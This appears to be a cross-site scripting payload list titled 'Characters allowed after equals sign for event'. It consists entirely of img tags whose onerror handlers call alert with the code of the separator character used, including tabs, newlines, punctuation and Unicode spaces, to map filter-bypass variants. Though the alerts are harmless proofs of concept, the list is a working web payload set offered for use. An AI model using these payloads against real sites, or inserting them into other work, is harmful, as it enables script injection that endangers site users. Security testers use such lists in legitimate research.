Characters allowed after equals sign for event

<img src=x onerror=	alert(9)>

<img src=x onerror=
alert(10)>

<img src=x onerror=alert(11)>

<img src=x onerror=alert(12)>

<img src=x onerror=
alert(13)>

<img src=x onerror= alert(32)>

<img src=x onerror=!alert(33)>

<img src=x onerror=+alert(43)>

<img src=x onerror=-alert(45)>

<img src=x onerror=;alert(59)>

<img src=x onerror=~alert(126)>

<img src=x onerror= alert(160)>

<img src=x onerror= alert(5760)>

<img src=x onerror= alert(8192)>

<img src=x onerror= alert(8193)>

<img src=x onerror= alert(8194)>

<img src=x onerror= alert(8195)>

<img src=x onerror= alert(8196)>

<img src=x onerror= alert(8197)>

<img src=x onerror= alert(8198)>